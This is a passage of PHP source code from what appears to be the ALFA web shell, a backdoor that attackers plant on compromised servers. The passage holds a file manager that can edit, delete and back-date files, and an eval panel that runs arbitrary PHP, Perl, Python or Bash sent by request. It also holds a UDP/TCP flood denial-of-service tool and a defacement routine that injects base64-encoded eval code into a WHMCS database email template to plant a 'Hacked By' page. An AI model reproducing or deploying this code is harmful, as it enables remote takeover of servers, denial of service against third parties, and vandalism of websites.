onmouseout="hideSymlinkPath(this,event);"':'').'><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td></div><td><span style="font-weight:unset;" class="main_size">'.(($f['type']=='file')?(isset($f['link'])?'[L] ':'').alfaSize($f['size']):$f['type']).'</span></td><td><span style="font-weight:unset;" class="main_modify">'.$f['modify'].'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'.$f['owner'].'/'.$f['group'].'</span></td><td><a id="id_chmode_'.$cc.'" href=javascript:void(0) onclick="editor(\''.$raw_name.'\',\'chmod\',\'\',\'\',\'\',\''.$f['type'].'\')">'.
$f['perms'].'</td><td><a id="id_rename_'.$cc.'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'rename\',\'\',\'\',\'\',\''.$f['type'].'\')">R</a> <a id="id_touch_'.$cc.'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'touch\',\'\',\'\',\'\',\''.$f['type'].'\')">T</a>'.(($f['type']=='file')?' <a id="id_edit_'.$cc.'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'edit\',\'\',\'\',\'\',\''.$f['type'].'\')">E</a> <a id="id_download_'.$cc.'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$raw_name.'\', \'download\')">D</a>':'').'<a id="id_delete_'.$cc.'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '.addslashes(rawurldecode($f['name'])).' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \''.$raw_name.'\') : \'\';"> X </a></td></tr>';
$l = $l?0:1;
$cc++;
}
echo "<tr id='filemanager_last_tr'><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='".htmlspecialchars(($GLOBALS['glob_chdir_false']?$_POST['c']:$GLOBALS['cwd']))."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select id='tools_selector' name='alfa1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete' selected>Delete</option><option value='zip'>Add 2 Compress (zip)</option><option value='unzip'>Add 2 Uncompress (zip)</option><option value='paste'>Paste / Zip / Unzip </option></select>
<input type='submit' value=' '>
</form></table><div class='pages-holder'><div class='pages-number'>".$page_builder."</div></div></div></div>";
alfafooter();
}
function get_pagination_links($current_page, $total_pages){
    $links = "";
    if ($total_pages >= 1 && $current_page <= $total_pages) {
		$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\"><<</a>";
		$selected_page = "";
		if($current_page == 1){
			$selected_page = " active-page-number";
		}
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">1</a>";
        $i = max(2, $current_page - 5);
        if ($i > 2)
            $links .= "<a class=\"page-number\">...</a>";
        for (; $i < min($current_page + 6, $total_pages); $i++) {
			if($i == $current_page){
				$selected_page = " active-page-number";
			}else{
				$selected_page = "";
			}
            $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$i}</a>";
        }
        if ($i != $total_pages)
            $links .= "<a class=\"page-number\">...</a>";
		$selected_page = " last-page-number";
		if($current_page == $total_pages){
			$selected_page .= " active-page-number";
		}
        $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$total_pages}</a>";
		$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\">>></a>";
    }
    return $links;
}
function alfaFilesTools(){
alfahead();
echo '<div class="filestools" style="height: 100%;">';
if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
$alfa1_decoded = $_POST['alfa1'];
$chdir_fals = false;
if(!@chdir($_POST['c'])){
	$chdir_fals = true;
	$_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
	$alfa_canruncmd = _alfa_can_runCommand(true,true);
	if($alfa_canruncmd){
		$slashed_alfa1 = addslashes($_POST['alfa1']);
		$file_info = explode(":", alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "'.$slashed_alfa1.'"'));
		$perm_color_class = alfaEx("if [[ -w '".$slashed_alfa1."' ]]; then echo main_green_perm; elif [[ -r '".$slashed_alfa1."' ]]; then echo main_white_perm; else echo main_red_perm; fi");
	}
}
if($_POST['alfa2'] == 'auto'){
if(is_array(@getimagesize($_POST['alfa1']))){
$_POST['alfa2'] = 'image';
}else{
	$_POST['alfa2'] = 'view';
	if($chdir_fals){
		if($alfa_canruncmd){
			$mime = explode(":", alfaEx("file --mime-type '".addslashes($_POST['alfa1'])."'"));
			$mimetype = $mime[1];
			if(!empty($mimetype)){
				if(strstr($mimetype, "image")){
					$_POST['alfa2'] = 'image';
				}
			}
		}
	}
}
}
if($_POST['alfa2'] == "rename" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])){$rename_cache = $_POST['alfa3'];}
if(@$_POST['alfa2'] == 'mkfile'){
$_POST['alfa1'] = trim($_POST['alfa1']);
if($chdir_fals&&$alfa_canruncmd){
	if(_alfa_is_writable($_POST["c"])){
		alfaEx("cd '".addslashes($_POST["c"])."';touch '".addslashes($alfa1_decoded)."'");
		$_POST['alfa2'] = "edit";
	}
}
if(!@file_exists($_POST['alfa1'])){
$fp = @fopen($_POST['alfa1'], 'w');
if($fp){
$_POST['alfa2'] = "edit";
fclose($fp);
}
}else{
$_POST['alfa2'] = "edit";
}
}
if(!_alfa_file_exists(@$_POST['alfa1'])){
echo __pre()."<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('".$_POST['alfa4']."');</script>";
alfaFooter();
return;
}
if($chdir_fals){
$filesize = $file_info[3];
$uid["name"] = $file_info[1];
$gid["name"] = $file_info[2];
$permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST['alfa1'])):'';
$gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST['alfa1'])):'';
if(!$uid&&!$gid){
$uid['name'] = function_exists("fileowner")?@fileowner($_POST['alfa1']):'';
$gid['name'] = function_exists("filegroup")?@filegroup($_POST['alfa1']):'';
}
$permcolor = alfaPermsColor($_POST['alfa1']);
$filesize = @filesize($_POST['alfa1']);
if(!isset($uid['name'],$gid['name'])||empty($uid['name'])||empty($gid['name'])){
	if(_alfa_can_runCommand()){
		list($uid['name'],$gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "'.addslashes($_POST["c"]."/".$_POST["alfa1"]).'"'));
	}
}
}
if(substr($_POST['alfa1'], 0, 7) == "phar://"){
	$alfa_file_directory = $_POST['alfa1'];
}else{
	$alfa_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST['c'].'/').$_POST['alfa1']);
}
echo '<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> '.htmlspecialchars(basename($alfa1_decoded)).' <span class="editor_file_info_vars">Size:</span> '.alfaSize($filesize).' <span class="editor_file_info_vars">Permission:</span> '.$permcolor.' <span class="editor_file_info_vars">Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].' <span class="editor_file_info_vars">Directory:</span> '.dirname($alfa_file_directory).'</div>';
if(empty($_POST['alfa2']))$_POST['alfa2'] = 'view';
if(!_alfa_is_dir($_POST['alfa1'])){
$m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');
$ftype = "file";
}else{
$m = array('Chmod', 'Rename', 'Touch');
$ftype = "dir";
}
echo('<div>');
foreach($m as $v)
echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\'):\'\';"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\')"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a>';
echo '</div>';
switch($_POST['alfa2']){
case 'view':case 'edit':
@chdir($_POST['c']);
$disabled_btn = "";
if(!@is_writable($_POST['alfa1'])&&!_alfa_is_writable($_POST['alfa1'])){
$disabled_btn = "disabled=disabled";
$disabled_btn_style= 'background: #ff0000;color: #fff;';
}
if(!empty($_POST['alfa3'])){
$_POST['alfa3'] = substr($_POST['alfa3'],1);
$time = @filemtime($_POST['alfa1']);
$fp = @__write_file($_POST['alfa1'],$_POST['alfa3']);
if($chdir_fals&&$alfa_canruncmd){
	$rname = $alfa1_decoded;
	$randname = $rname.rand(111,9999);
	$filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;
	if($fp = @__write_file($filepath ,$_POST['alfa3'])){
		alfaEx("mv '".addslashes($filepath)."' '".addslashes($_POST["alfa1"])."';rm -f '".addslashes($filepath)."'");
	}
}
if($fp){
echo 'Saved!<br>';
@touch($_POST['alfa1'],$time,$time);
}
}
echo '<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">'._alfa_load_ace_options("editor").'<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\'ace_id\')].getValue();editor(\''.addslashes($alfa1_decoded).'\',\'edit\',\'1\'+ace_val,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;'.$disabled_btn_style.'" '.$disabled_btn.'>save</button></div><pre class="ml1 view_ml_content">';
echo htmlspecialchars(__read_file($_POST['alfa1']));
echo '</pre></div></div>';
break;
case 'highlight':
@chdir($_POST['c']);
if(@is_readable($_POST['alfa1'])){
echo '<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['alfa1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div></div></div>';
}
break;
case 'delete':
@chdir($_POST['c']);
if(@is_writable($_POST['alfa1'])||$GLOBALS["glob_chdir_false"]){
$deleted = true;
if(!@unlink($_POST['alfa1'])){
	$deleted = false;
	if($alfa_canruncmd){
		if(_alfa_is_writable($_POST['alfa1'])){
			alfaEx("rm -f '".addslashes($_POST['alfa1'])."'");
			$deleted = true;
		}
	}
}
if($deleted)echo 'File Deleted...<script>var elem = $("'.$_POST['alfa4'].'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["'.$_POST['alfa4'].'"];</script>';else echo 'Error...';}
break;
case 'chmod':
@chdir($_POST['c']);
if(!empty($_POST['alfa3'])){
$perms = 0;
for($i=strlen($_POST['alfa3'])-1;$i>=0;--$i)
$perms += (int)$_POST['alfa3'][$i]*pow(8, (strlen($_POST['alfa3'])-$i-1));
if(!@chmod($_POST['alfa1'], $perms)){
if($chdir_fals&&$alfa_canruncmd){
alfaEx("cd '".addslashes($_POST["c"])."';chmod ".addslashes($_POST['alfa3'])." '".addslashes($alfa1_decoded)."'");
echo('Success!');
}else{
echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>';}
}else{echo('Success!');}
}
clearstatcache();
AlfaNum(8,9,10,7,6,5,4,2,1);
if($chdir_fals){
	$file_perm = $file_info[5];
}else{
	$file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])),-4);
}
echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.chmod.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="chmod" value="'.$file_perm.'"><input type=submit value=" "></form>';
break;
case 'hexdump':
@chdir($_POST['c']);
$c = __read_file($_POST['alfa1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "\n";
}
}
echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table></div></div>';
break;
case 'rename':
@chdir($_POST['c']);
$alfa1_escape = addslashes($_POST["alfa1"]);
$alfa3_escape = addslashes($_POST["alfa3"]);
if(!empty($_POST['alfa3'])){
$cmd_rename = false;
if($chdir_fals&&$alfa_canruncmd){
if(_alfa_is_writable($_POST['alfa1'])){
$alfa1_escape = addslashes($alfa1_decoded);
alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa3'])."'");
}else{
$cmd_rename = true;
}
}else{
$alfa1_escape = addslashes($_POST["alfa1"]);
}
if(!@rename($_POST['alfa1'], $_POST['alfa3'])&&$cmd_rename){
echo 'Can\'t rename!<br>';}else{echo('Renamed!<script>try{$("'.$_POST['alfa4'].'").innerHTML = "<div class=\'editor-icon\'>"+loadType(\''.$alfa3_escape.'\',\''.$ftype.'\',\''.$_POST['alfa4'].'\')+"</div><div class=\'editor-file-name\'>'.$alfa3_escape.'</div>";editor_files["'.$_POST['alfa4'].'"].file = "'.$alfa3_escape.'";updateFileEditor("'.$alfa1_escape.'", "'.$alfa3_escape.'");'.($ftype == "dir"?"updateDirsEditor('".$_POST['alfa4']."','".$alfa1_escape."');":"").'}catch(e){console.log(e)}</script>');$alfa1_escape = $alfa3_escape;}
}
echo '<form onsubmit="editor(\''.$alfa1_escape.'\',\''.$_POST['alfa2'].'\',this.name.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="name" value="'.addslashes(htmlspecialchars(isset($_POST['alfa3'])&&$_POST['alfa3']!=''?$_POST['alfa3']:$alfa1_decoded)).'"><input type=submit value=" "></form>';
break;
case 'touch':
@chdir($_POST['c']);
if( !empty($_POST['alfa3']) ) {
$time = strtotime($_POST['alfa3']);
if($time){
$touched = false;
if($chdir_fals&&$alfa_canruncmd){
	alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa3']))."' '".addslashes($alfa1_decoded)."'");
	$touched = true;
}
if(!@touch($_POST['alfa1'],$time,$time)&&!$touched)
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.touch.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST['alfa1']))).'"><input type=submit value=" "></form>';
break;
case 'image':
@chdir($_POST['c']);
echo('<hr>');
$file = $_POST['alfa1'];
$image_info = @getimagesize($file);
if(is_array($image_info)||$chdir_fals){
$width = (int)$image_info[0];
$height = (int)$image_info[1];
if($chdir_fals&&$alfa_canruncmd){
	$source = alfaEx("cat '".addslashes($file)."' | base64");
	list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '".addslashes($file)."'"));
	$mime = explode(":", alfaEx("file --mime-type '".addslashes($file)."'"));
	$image_info['mime'] = $mime[1];
}else{
	$source = __ZW5jb2Rlcg(__read_file($file, false));
}
$image_info_h = "Image type = <span>[</span> ".$image_info['mime']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";
if($width > 800){$width = 800;}
echo $content = "<div class='editor-view'><div class='view-content'><center>".$image_info_h."<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:".$image_info['mime'].";base64,".$source."' alt='".$file."'></center></div></div><br>";
}
break;
}
echo '</div>';
alfaFooter();
}
function findicon($file,$type){
$s = 'http://solevisible.com/icons/';
$types = array('json','ppt','pptx','xls','xlsx','msi','config','cgi','pm','c','cpp','cs','java','aspx','asp','db','ttf','eot','woff','woff2','woff','conf','log','apk','cab','bz2','tgz','dmg','izo','jar','7z','iso','rar','bat','sh','alfa','gz','tar','php','php4','php5','phtml','html','xhtml','shtml','htm','zip','png','jpg','jpeg','gif','bmp','ico','txt','js','rb','py','xml','css','sql','htaccess','pl','ini','dll','exe','mp3','mp4','m4a','mov','flv','swf','mkv','avi','wmv','mpg','mpeg','dat','pdf','3gp','doc','docx','docm');
if($type!='file'){
return ($file=='..'?$s.'back.png':$s.'folder.png');
}else{
$ext = explode('.',$file);
$ext = end($ext);
$ext = strtolower($ext);
return (in_array($ext,$types)?$s.$ext.'.png':$s.'notfound.png');
}
}
function alfadlfile(){
if(isset($_POST['c'],$_POST['file'])){
$basename = rawurldecode(basename($_POST['file']));
$_POST['file'] = str_replace("//", "/", $_POST['c'].'/'.$basename);
$alfa_canruncmd = _alfa_can_runCommand(true,true);
if(@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd){
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=\"".addslashes($basename)."\"");
header("Content-Type: application/octet-stream");
if($GLOBALS["glob_chdir_false"]){
	$randname = $basename.rand(111,9999);
	$scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
	$filepath = $scriptpath."/".$randname;
	if(_alfa_is_writable($scriptpath)){
		alfaEx("cp '".addslashes($_POST["file"])."' '".addslashes($filepath)."'");
		readfile($filepath);
		@unlink($filepath);
	}else{
		alfaEx("cat '".addslashes($_POST["file"])."'");
	}
}else{
	readfile($_POST['file']);
}
}else echo('Error...!');}}
function __alfa_set_cookie($key, $value){
	$_COOKIE[$key] = $value;
	@setcookie($key, $value, time()+(86400 * 7), '/');
}
function alfaphpeval(){
if(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){
	$tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);
}else{
	$tempdir = dirname(alfaEx("mktemp"));
	__alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));
}
alfahead();
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')){
echo '<div class=header>';
ob_start();
$INI=ini_get_all();
print '<table border=0><tr>'
.'<td class="listing"><font class="highlight_txt">Param</td>'
.'<td class="listing"><font class="highlight_txt">Global value</td>'
.'<td class="listing"><font class="highlight_txt">Local Value</td>'
.'<td class="listing"><font class="highlight_txt">Access</td></tr>';
foreach ($INI as $param => $values)
print "\n".'<tr>'
.'<td class="listing"><b>'.$param.'</td>'
.'<td class="listing">'.$values['global_value'].' </td>'
.'<td class="listing">'.$values['local_value'].' </td>'
.'<td class="listing">'.$values['access'].' </td></tr>';
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) {
echo '<div class=header><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) {
echo '<div class=header>';
ob_start();
$EXT=get_loaded_extensions();
echo '<table border=0><tr><td class="listing">'.implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT).'</td></tr></table>'.count($EXT).' extensions loaded';
echo '</div><br>';
}
$lang_html = "";
foreach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= '<option value="'.$key.'" '.($_POST["alfa3"]==$key?"selected":"").'>'.$val.'</option>';}
echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\'phpeval\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">'.$lang_html.'</select>'._alfa_load_ace_options("eval").'<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">'.(!empty($_POST['alfa1'])?htmlspecialchars($_POST['alfa1']):"&lt;?php\n\n\techo('hello alfa !');\n\n?>").'</div></div><center><input type="submit" value="" style="margin-top:5px"></center>';
echo '</form><pre id="PhpOutput" style="'.(empty($_POST['alfa1'])?'display:none;':'').'margin-top:5px;" class="ml1">';
if(!empty($_POST['alfa1'])){
if($_POST['alfa3']=="php"){
ob_start();
eval('?>'.$_POST['alfa1']);
$result = htmlspecialchars(ob_get_clean());
}elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){
	$lang = $_POST['alfa3'];
	$filename = "temp".rand(11111,99999);
	$temp = $tempdir."/".$filename ;
	__write_file($filename, $_POST['alfa1']);
	$result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
	@unlink($filename);
	@unlink($temp);
}
echo '<textarea class="bigarea">'.$result.'</textarea>';
}
echo '</pre></div>';
alfafooter();
}
function alfahash(){
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64_encode ( $string )' => '__ZW5jb2Rlcg($s)',
'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)',
'strrev ( $string )' => 'strrev($s)',
'bin2hex ( $string )' => 'bin2hex($s)',
'hex2bin ( $string )' => 'hex2bin($s)',
'md5 ( $string )' => 'md5($s)',
'sha1 ( $string )' => 'sha1($s)',
'hash ( "sha251", $string ) --> sha251' => 'hash("sha256",$s)',
'hash ( "sha384", $string ) --> sha384' => 'hash("sha384",$s)',
'hash ( "sha512", $string ) --> sha512' => 'hash("sha512",$s)',
'crypt ( $string )' => 'crypt($s)',
'crc32 ( $string )' => 'crc32($s)',
'str_rot13 ( $string )' => 'str_rot13($s)',
'urlencode ( $string )' => 'urlencode($s)',
'urldecode  ( $string )' => 'urldecode($s)',
'full_urlencode  ( $string )' => 'full_urlencode($s)',
'htmlspecialchars  ( $string )' => 'htmlspecialchars($s)',
'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))',
'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))',
'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))',
'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))',
'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))',
'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))',
);
alfahead();
echo '<div class=header>';
echo "<form onSubmit='g(\"hash\",null,this.selectTool.value,this.input.value);return false;'><div class='txtfont'>Method:</div> <select name='selectTool' style='width:400px;'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."' ".($_POST['alfa1']==$v?'selected':'').">".$k."</option>";
echo "</select> <input type='submit' value=' '/><br><textarea  name='input' style='margin-top:5px' class='bigarea'>".(empty($_POST['alfa1'])?'':htmlspecialchars(@$_POST['alfa2']))."</textarea></form>";
if(!empty($_POST['alfa1'])){
$string = addslashes($_POST['alfa2']);
$string = str_replace('\"','"',$string);
$alg = $_POST['alfa1'];
$code = str_replace('$s',"'".$string."'",$alg);
ob_start();
eval('echo '.$code.';');
$res = ob_get_contents();
ob_end_clean();
if(in_array($alg, $stringTools))echo '<textarea class="bigarea">'.htmlspecialchars($res).'</textarea>';
}
echo "</div>";
alfaFooter();
}
function alfados(){
alfahead();
echo '<div class=header>';
echo '<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\'dos\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>';
if(!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3'])){
echo __pre();
$packets=0;
ignore_user_abort(true);
$exec_time=(int)$_POST['alfa2'];
$time=time();
$max_time=$exec_time+$time;
$host=$_POST['alfa1'];
$port=(int)$_POST['alfa3'];
$method=$_POST['alfa4'];
$out = str_repeat('X',65000);
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = @fsockopen($method.'://'.$host, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<center>$packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second</center>";
echo "</pre>";
}
echo '</div>';
alfafooter();
}
function __pre(){return('<pre id="strOutput" style="margin-top:5px" class="ml1">');}
function alfaIndexChanger(){
alfahead();

echo '<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,null,\'whmcs\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,\'vb\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,\'mybb\')">| MyBB | </a></h3></center>';
if(isset($_POST['alfa3'])&&($_POST['alfa3'] == 'whmcs')){
echo __pre();

echo "<center><center><div class='txtfont_header'>| Whmcs |</div>
<p><center>".getConfigHtml('whmcs')."<form onSubmit=\"g('IndexChanger',null,null,null,'whmcs',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\">
";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'URL', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'File Name', 'inputName' => 'fname', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name=index rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
<input type='submit' value=' '>
</form></center></center>";
if(isset($_POST['alfa6'])){
$s0levisible="Powered By Solevisible";
$dbu = $_POST['alfa6'];
$path = $_POST['alfa5'];
$fname = $_POST['alfa4'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$index = $_POST['alfa10'];
$index = str_replace("\'","'",$index);
$deface = '$x = base64_decode("'.__ZW5jb2Rlcg($index).'"); $solevisible = fopen("'.$fname.'","w"); fwrite($solevisible,$x);';
$saveData = __ZW5jb2Rlcg($deface);
$Def = '{php}eval(base64_decode("'.$saveData.'"));{/php}';
if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$soleSave=@mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
